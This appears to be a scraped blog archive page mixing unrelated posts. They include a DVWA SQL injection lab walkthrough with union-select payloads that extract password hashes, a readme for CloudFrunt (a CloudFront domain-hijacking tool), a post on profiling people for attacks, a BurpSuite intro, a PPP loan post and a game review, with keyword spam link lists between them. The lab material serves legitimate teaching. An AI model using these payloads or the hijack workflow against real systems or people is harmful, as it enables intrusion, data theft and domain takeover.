Wednesday, May 6, 2020

Learning Web Pentesting With DVWA Part 2: SQL Injection

In the last article Learning Web Pentesting With DVWA Part 1: Installation, you were given a glimpse of SQL injection when we installed the DVWA app. In this article we will explain what we did at the end of that article and much more.
Lets start by defining what SQL injection is, OWASP defines it as: "A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands."
Which basically means that we can use a simple (vulnerable) input field in our web application to get information from the database of the server which hosts the web application. We can command and control (at certain times) the database of the web application or even the server.
In this article we are going to perform SQL injection attack on DVWA, so let's jump in. On the DVWA welcome page click on SQL Injection navigation link. We are presented with a page with an input field for User ID.
Now lets try to input a value like 1 in the input field. We can see a response from server telling us the firstname and surname of the user associated with User ID 1.
If we try to enter a user id which doesn't exist, we get no data back from the server. To determine whether an input field is vulnerable to SQL injection, we first start by sending a single quote (') as input. Which returns an SQL error.
We saw this in the previous article and we also talked about injection point in it. Before diving deeper into how this vulnerability can be exploited lets try to understand how this error might have occurred. Lets try to build the SQL query that the server might be trying to execute. Say the query looks something like this:
SELECT first_name, sur_name FROM users WHERE user_id = '1';
The 1 in this query is the value supplied by the user in the User ID input field. When we input a single quote in the User ID input field, the query looks like this:
SELECT first_name, sur_name FROM users WHERE user_id = ''';
The quotes around the input provided in the User ID input field are from the server side application code. The error is due to the extra single quote present in the query. Now if we specify a comment after the single quote like this:
'-- -
or
'#
we should get no error. Now our crafted query looks like this:
SELECT first_name, sur_name FROM users WHERE user_id = ''-- -';
or
SELECT first_name, sur_name FROM users WHERE user_id = ''#';
since everything after the # or -- - are commented out, the query will ignore the extra single quote added by the server side app and whatever comes after it and will not generate any error. However the query returns nothing because we specified nothing ('') as the user_id.
After knowing how things might be working on the server side, we will start to attack the application.
First of all we will try to determine the number of columns that the query outputs because if we try a query which will output the number of columns greater or smaller than what the original query outputs then our query is going to get an error. So we will first figure out the exact number of columns that the query outputs and we will do that with the help of order by sql statement like this:
' order by 1-- -
This MySQL server might execute the query as:
SELECT first_name, sur_name FROM users WHERE user_id = '' order by 1-- -';
you get the idea now.
if we don't get any error message, we will increase the number to 2 like this:
' order by 2-- -
still no error message, lets add another:
' order by 3-- -
and there we go we have an error message. Which tells us the number of columns that the server query selects is 2 because it erred out at 3.
Now lets use the union select SQL statement to get information about the database itself.
' union select null, version()-- -
You should first understand what a union select statement does and only then can you understand what we are doing here. You can read about it here.
We have used null as one column since we need to match the number of columns from the server query which is two. null will act as a dummy column here which will give no output and the second column which in our case here is the version() command will output the database version. Notice the output from the application, nothing is shown for First name since we specified null for it and the maria db version will be displayed in Surname.
Now lets check who the database user is using the user() function of mariadb:
' union select null, user()-- -
After clicking the submit button you should be able to see the user of the database in surname.

Now lets get some information about the databases in the database.
Lets determine the names of databases from INFORMATION_SCHEMA.SCHEMATA by entering following input in the User ID field:
' union select null, SCHEMA_NAME from INFORMATION_SCHEMA.SCHEMATA-- -
This lists two databases dvwa and information_schema. information_schema is the built in database. Lets look at the dvwa database.
Get table names for dvwa database from INFORMATION_SCHEMA.TABLES
' union select null, TABLE_NAME from INFORMATION_SCHEMA.TABLES-- -
It gives a huge number of tables that are present in dvwa database. But what we are really interested in is the users table as it is most likely to contain user passwords. But first we need to determine columns of that table and we will do that by querying INFORMATION_SCHEMA.COLUMNS like this:
' union select null, COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'users'-- -

We can see the password column in the output now lets get those passwords:
' union select user, password from users-- -
Of-course those are the hashes and not plain text passwords. You need to crack them.
Hope you learned something about SQL injection in this article. See you next time.

References:

1. SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection
2. MySQL UNION: https://www.mysqltutorial.org/sql-union-mysql.aspx
3. Chapter 25 INFORMATION_SCHEMA Tables: https://dev.mysql.com/doc/refman/8.0/en/information-schema.html
More info

SigPloit SS7 Tool

Related word

CloudFrunt - A Tool For Identifying Misconfigured CloudFront Domains


CloudFrunt is a tool for identifying misconfigured CloudFront domains.

Background
CloudFront is a Content Delivery Network (CDN) provided by Amazon Web Services (AWS). CloudFront users create "distributions" that serve content from specific sources (an S3 bucket, for example).
Each CloudFront distribution has a unique endpoint for users to point their DNS records to (ex. d111111abcdef8.cloudfront.net). All of the domains using a specific distribution need to be listed in the "Alternate Domain Names (CNAMEs)" field in the options for that distribution.
When a CloudFront endpoint receives a request, it does NOT automatically serve content from the corresponding distribution. Instead, CloudFront uses the HOST header of the request to determine which distribution to use. This means two things:

  1. If the HOST header does not match an entry in the "Alternate Domain Names (CNAMEs)" field of the intended distribution, the request will fail.
  2. Any other distribution that contains the specific domain in the HOST header will receive the request and respond to it normally.
This is what allows the domains to be hijacked. There are many cases where a CloudFront user fails to list all the necessary domains that might be received in the HOST header. For example:
  • The domain "test.disloops.com" is a CNAME record that points to "disloops.com".
  • The "disloops.com" domain is set up to use a CloudFront distribution.
  • Because "test.disloops.com" was not added to the "Alternate Domain Names (CNAMEs)" field for the distribution, requests to "test.disloops.com" will fail.
  • Another user can create a CloudFront distribution and add "test.disloops.com" to the "Alternate Domain Names (CNAMEs)" field to hijack the domain.
This means that the unique endpoint that CloudFront binds to a single distribution is effectively meaningless. A request to one specific CloudFront subdomain is not limited to the distribution it is associated with.

Installation
$ pip install boto3
$ pip install netaddr
$ pip install dnspython
$ git clone https://github.com/disloops/cloudfrunt.git
$ cd cloudfrunt
$ git clone https://github.com/darkoperator/dnsrecon.git
CloudFrunt expects the dnsrecon script to be cloned into a subdirectory called dnsrecon.

Usage
cloudfrunt.py [-h] [-l TARGET_FILE] [-d DOMAINS] [-o ORIGIN] [-i ORIGIN_ID] [-s] [-N]

-h, --help Show this message and exit
-s, --save Save the results to results.txt
-N, --no-dns Do not use dnsrecon to expand scope
-l, --target-file TARGET_FILE File containing a list of domains (one per line)
-d, --domains DOMAINS Comma-separated list of domains to scan
-o, --origin ORIGIN Add vulnerable domains to new distributions with this origin
-i, --origin-id ORIGIN_ID The origin ID to use with new distributions

Example
$ python cloudfrunt.py -o cloudfrunt.com.s3-website-us-east-1.amazonaws.com -i S3-cloudfrunt -l list.txt

CloudFrunt v1.0.3

[+] Enumerating DNS entries for google.com
[-] No issues found for google.com

[+] Enumerating DNS entries for disloops.com
[+] Found CloudFront domain --> cdn.disloops.com
[+] Found CloudFront domain --> test.disloops.com
[-] Potentially misconfigured CloudFront domains:
[#] --> test.disloops.com
[+] Created new CloudFront distribution EXBC12DE3F45G
[+] Added test.disloops.com to CloudFront distribution EXBC12DE3F45G


Related posts


Tuesday, May 5, 2020

FOOTPRITING AND INFORMATION GATHERING USED IN HACKING

WHAT IS FOOTPRITING AND INFORMATION GATHERING IN HACKING?

Footpriting is the technique used for gathering information about computer systems and the entities they belongs too. 
To get this information, a hacker might use various tools and technologies.

Basically it is the first step where hacker gather as much information as possible to find the way for cracking the whole system or target or atleast decide what types of attacks will be more suitable for the target.

Footpriting can be both passive and active.

Reviewing a company's website is an example of passive footprinting, 
whereas attempting to gain access to sensititve information through social engineering is an example of active information gathering.

During this phase hacking, a hacker can collect the following information>- Domain name
-IP Addresses
-Namespaces
-Employee information 
-Phone numbers
-E-mails 
Job information

Tip-You can use http://www.whois.com/ website to get detailed information about a domain name information including its owner,its registrar, date of registration, expiry, name servers owner's contact information etc.

Use of  Footprinting & Information Gathering in People Searching-
Now a days its very easy to find anyone with his/her full name in social media sites like Facebook, Instragram,Twitter,Linkdedin to gather information about date of birth,birthplace, real photos, education detail, hobbies, relationship status etc.

There are several sites like PIPL,PeekYou, Transport Sites such as mptransport,uptransport etc and Job placement Sites such as Shine.com,Naukari.com , Monster.com etc which are very useful for hacker to collect information about anyone.  
Hacker collect the information about you from your Resume which you uploaded on job placement site for seeking a job as well as  hacker collect the information from your vehicle number also from transport sites to know about the owner of vehicle, adderess etc then after they make plan how to attack on victim to earn money after know about him/her from collecting information.




INFORMATION GATHERING-It is the process of collecting the information from different places about any individual company,organization, server, ip address or person.
Most of the hacker spend his time in this process.

Information gathering plays a vital role for both investigating and attacking purposes.This is one of the best way to collect victim data and find the vulnerability and loopholes to get unauthorized modifications,deletion and unauthorized access.



More articles


  1. Hacking Etico
  2. Rom Hacking
  3. Hacking Etico Libro
  4. Hacking Books
  5. Mind Hacking
  6. Hacking Informatico

BurpSuite Introduction & Installation



What is BurpSuite?
Burp Suite is a Java based Web Penetration Testing framework. It has become an industry standard suite of tools used by information security professionals. Burp Suite helps you identify vulnerabilities and verify attack vectors that are affecting web applications. Because of its popularity and breadth as well as depth of features, we have created this useful page as a collection of Burp Suite knowledge and information.

In its simplest form, Burp Suite can be classified as an Interception Proxy. While browsing their target application, a penetration tester can configure their internet browser to route traffic through the Burp Suite proxy server. Burp Suite then acts as a (sort of) Man In The Middle by capturing and analyzing each request to and from the target web application so that they can be analyzed.











Everyone has their favorite security tools, but when it comes to mobile and web applications I've always found myself looking BurpSuite . It always seems to have everything I need and for folks just getting started with web application testing it can be a challenge putting all of the pieces together. I'm just going to go through the installation to paint a good picture of how to get it up quickly.

BurpSuite is freely available with everything you need to get started and when you're ready to cut the leash, the professional version has some handy tools that can make the whole process a little bit easier. I'll also go through how to install FoxyProxy which makes it much easier to change your proxy setup, but we'll get into that a little later.

Requirements and assumptions:

Mozilla Firefox 3.1 or Later Knowledge of Firefox Add-ons and installation The Java Runtime Environment installed

Download BurpSuite from http://portswigger.net/burp/download.htmland make a note of where you save it.

on for Firefox from   https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/


If this is your first time running the JAR file, it may take a minute or two to load, so be patient and wait.


Video for setup and installation.




You need to install compatible version of java , So that you can run BurpSuite.

More information


  1. Hacking Simulator
  2. Hacking Articles
  3. Mindset Hacking Nacho
  4. Hacking Apps
  5. Hacking Wireless 101 Pdf
  6. Udemy Hacking
  7. Hacking Online Games
  8. Wifi Hacking App
  9. Como Aprender A Hackear
  10. Computer Hacking
  11. Etica Hacker
  12. Quiero Ser Hacker
  13. Hacking Growth Pdf
  14. Sean Ellis Hacking Growth
  15. Hacking Social
  16. Rom Hacking Pokemon

Friday, May 1, 2020

Treacherous Government Loans And Account Segregation

My small business received both the EIDL and PPP loans. Yes, thank you, it was a bunch of work, but no harder than creating a Pathfinder 2nd Edition character for the first time. I have some unique experience in creative financing my business, so I saw the opportunities and jumped on them. This is my area. However, these loans are treacherous. I'm going to briefly go over why they're treacherous and how you can navigate these waters.

The EIDL loan has approved uses and disapproved uses. A lot of disapproved uses are things you might do all the time, like issuing profit or paying off old debt. This is theoretically a thirty year loan. Are you not going to have profit for 30 years to prove the SBA Gods that you've used the loan for legitimate funds? No, but you need to be able to prove profit taking and debt retirement did not come from this money.

Likewise, the PPP loan, to act like a grant and be forgiven, can only be used for (some) payroll costs, some insurance, rent, utilities (whatever that means) and mortgages from the Before Times. Payroll has to be kept at 75% with the same number of full time employees (30+ hours?) to be forgiven. I am not an authority on this. Nobody is an authority on this. It''s complicated and likely to change, so you need to handle this money in a special way, although it doesn't quite need the same level of segregation as the EIDL money.

Here's what I've done. The first thing I did was create money market accounts at my local bank. This earns something like zero point zero nothing percent interest, but the account segregates the money from my general funds. Now I can transfer money from loan accounts to the general fund for specific uses with specific notations. I can use my own money without bumping into loan money restrictions. I created these entries in my Chart of Accounts:


I am not an accountant, but my accountant approves of what I'm doing. Step two is to create Long Term Liability accounts for these debts, which is nothing special, just how you would track a loan. 


Finally, how do you actually track expenses? I was discussing this with friends and the issue of Class came up. I've never used this before now. Setting up Class, an option in Quickbooks, allows you to note each expense line with a Class notation. So most of my Payroll taxes are allowed to be paid with PPP money, except federal taxes. I can line item each tax type as PPP approved using Class, except federal taxes. This allows me to track my usual expenses without too much interruption in work flow. When it comes time to prove how I spent the money,  I can run a report using the Class and it takes me minutes instead of it being nearly impossible.



Yes, you do need to be this detailed, and no, you probably don't need an accountant. You do need to be very clear on what is allowed and what is not for each loan. Getting your PPP money deployed in approved usages in the short period required is going to be a chore and will take creativity. My 15 year old is suddenly back on payroll. My old manager is back. Employees are being tapped to work from home on projects that don't exist yet that I'm scrambling to create (online store). Once the PPP money hits my account, the race is on to spend it properly and quickly.

The EIDL money is a little easier. I'l be paying my vendors with a big chunk and mostly leaving that money in its account for the duration. Its segregation is the most important thing, so as not to run afoul of the government.

Good luck! I know getting this stuff is hard. If you haven't gotten the PPP yet, keep trying. It's to your advantage to get it as late as possible in this crisis, when your people are going to be able to work doing something useful. Stop lamenting about large corporations getting unfair shares and start working on this. You will be far ahead of me if you get it later.

The Alliance Alive HD Remastered Review (Steam)

Written by Alexander O. Cuaycong and Anthony L. Cuaycong


Title: The Alliance Alive HD Remastered
Developer: FURYU Corporation
Publisher: NIS America, Inc.
Genre: RPG
Price: $39.99
Also Available On: PS4Switch



Japanese role playing games have come so far from their once-humble beginnings. The early releases struggled to gain a foothold in the West, but subsequent offerings from such franchises as Final Fantasy 7, Fire Emblem, and Dragon Quest managed to find homes in the hearts of gamers. Intellectual properties like these have reinvented the genre, however slowly, and their success underscores the core tenets of timeless examples: proper emphasis on deep stories, interesting gameplay mechanics, and immensely likable characters.




The Alliance Alive is one such example. First making its mark in 2017 as a Japan-only release on the Nintendo 3DS, Atlus USA saw fit to bring it to other regions the year after. Stripped to basics, it aimed to evoke feelings of nostalgia in gamers, with simple graphics paying homage to the finest RPGs of yore. Compared to the more complex battle systems of contemporary competitors, it focused less on flair and doubled down on the lure and allure of its interface, allowing everyone from veterans to newcomers of the genre alike to enjoy its open-world setting, its smooth combat sections, and its overarching narrative of wonder and fantasy, of struggle, loss, and heroism.

Considering The Alliance Alive's strengths, NIS America's decision to port over a remastered version to the Nintendo Switch, the Sony PlayStation 4, and the personal computer comes as no surprise. With an intended goal of presenting an experience that hews as closely to the original as possible, the remaster introduces the title to gamers on latest-generation platforms. They are presented with varying perspectives: from the vantage points of diverse characters, they must piece together the story of the world around them, of the daemons who rule the world, and of the humans who bear the yoke of servitude. By exploring the vast overworld and traveling from town to town, they are compelled to hone their skills in battle and prepare for the inevitable confrontation against the real enemy that hides in the shadows.




Even at a glance, The Alliance Alive HD Remastered presents itself as more than just another run-of-the-mill JRPG title. It begins with the invasion of daemons fearful of the Chaos energy in the human realm. The occupation triggers the Dark Current, which effectively separates the world's four regions. Barely surviving the cataclysm, mankind finds itself divided and subsisting under the reign of daemonic overlords. The gameplay picks up a millennium hence, focusing on nine otherwise-disparate members of the Night Crows, a rebel force out to gain freedom for the human race. And "disparate" may be too conservative a word to describe the nine given their origins and ideologies; joining Galil, Azura, Renzo, Tiggy, Gene, and Rachel in looking after their own are daemons Vivian and Ignace and beastfolk Barbarosa.

In terms of look and feel, The Alliance Alive HD Remastered is much improved over those of the 3DS version; it sports vibrant colors, richer textures, and a much higher resolution that allow the "solid" watercolor art style of old hand Masayo Asano — who boasts of efforts in SaGa and The Legend of Zelda titles — to shine through. Certainly, it casts the narrative penned by Suikoden series creator Yoshitaka Murayama in superior light, a development that, under Masataka Matsuura's steady direction, cannot be overemphasized.




That said, The Alliance Alive HD Remastered distinguishes itself in its gameplay. Unlike other contemporary offerings in the genre, it puts a greater emphasis on tactics and skills, with the biggest influences on combat being how comfortable characters are with their equipment. While a character may use any weapon of their choosing, the skills and attacks they use depend on their mastery over it. Anyone can use a spear, or a sword, or a staff, but the abilities they have, from devastating Area-of-Effect slashes to more precise stabs, are contingent on their familiarity and proficiency with their combat gear.

Parenthetically, The Alliance Alive HD Remastered brings much-needed depth to the battle system, requiring gamers to strategize properly and distribute their equipment judiciously according to the characters' distinct preferences. It's less about stat points, and more about honing skills. Alongside combat formations, this particular facet eventually shapes much of the game, with characters slowly training to become better in certain weapon types, and then unlocking more and better skills over time. It provides a unique sense of progression, and when coupled with the story's semi-brisk pace, makes it enjoyable to run through.




For the most part, The Alliance Alive HD Remastered boasts of intuitive mechanics. At the same time, it presents challenges that tend to be easy. It likewise lacks keyboard support on the PC, forcing users to play with a controller; it's not a huge issue per se, particularly since there is no delay in feedback, but it does limit options. Moreover, framerate issues seem to randomly pop up every now and then. Nothing earth-shaking, really, and nothing an update patch here and there can't fix so that it runs as well as it should.




On the whole, Alliance Alive HD Remastered is a great game to play, but the relative lack of difficulty and absence of controller support can be a huge turn-off for people looking for a challenging, if fair, JRPG. Nonetheless, it earns major props for its earnest gameplay and interesting storylines. It might not be the polished AAA JRPG offering gamers invariably look for, but it's a nice look back to the genre's golden years, and its unique take ensures some 40-odd hours worth of enjoyment.



THE GOOD:
  • Interesting story
  • Unique combat mechanics
  • Diverse set of characters

THE BAD
  • Lack of keyboard support
  • Framerate issues
  • Lack of a true difficulty curve


RATING: 8.5/10